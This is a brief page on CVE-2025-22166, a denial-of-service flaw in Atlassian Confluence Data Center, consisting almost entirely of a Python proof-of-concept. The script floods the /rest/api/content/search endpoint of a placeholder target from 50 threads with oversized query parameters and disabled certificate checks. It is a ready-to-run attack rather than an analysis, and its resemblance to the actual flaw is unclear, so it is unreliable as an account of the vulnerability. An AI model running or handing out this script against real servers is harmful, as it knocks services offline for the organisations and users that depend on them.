CVE-2025-22166 Atlassian Confluence Data Center 拒绝服务漏洞

# CVE-2025-22166 - Confluence Data Center DoS PoC # This PoC demonstrates a Denial of Service attack against vulnerable Confluence instances # Affected versions: Confluence Data Center 8.5 < 8.5.25, 9.2 < 9.2.7, 10.0 < 10.0.2 import requests import threading import time TARGET_URL = "https://target-confluence-instance.com" NUM_THREADS = 50 REQUESTS_PER_THREAD = 100 def send_malicious_request(session, thread_id): """Send crafted request to trigger resource exhaustion""" for i in range(REQUESTS_PER_THREAD): try: # Target endpoint that triggers resource-intensive processing headers = { "User-Agent": "Mozilla/5.0 (compatible; DoS-PoC)", "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded" } # Crafted payload to trigger resource exhaustion payload = { "queryString": "A" * 10000, # Oversized parameter "maxResults": 999999 } response = session.post( f"{TARGET_URL}/rest/api/content/search", headers=headers, data=payload, timeout=10, verify=False ) print(f"Thread {thread_id} - Request {i}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Thread {thread_id} - Request {i}: Error - {e}") def main(): print(f"[*] Starting DoS attack against {TARGET_URL}") print(f"[*] Threads: {NUM_THREADS}, Requests per thread: {REQUESTS_PER_THREAD}") threads = [] for i in range(NUM_THREADS): session = requests.Session() t = threading.Thread(target=send_malicious_request, args=(session, i)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack completed") if __name__ == "__main__": main()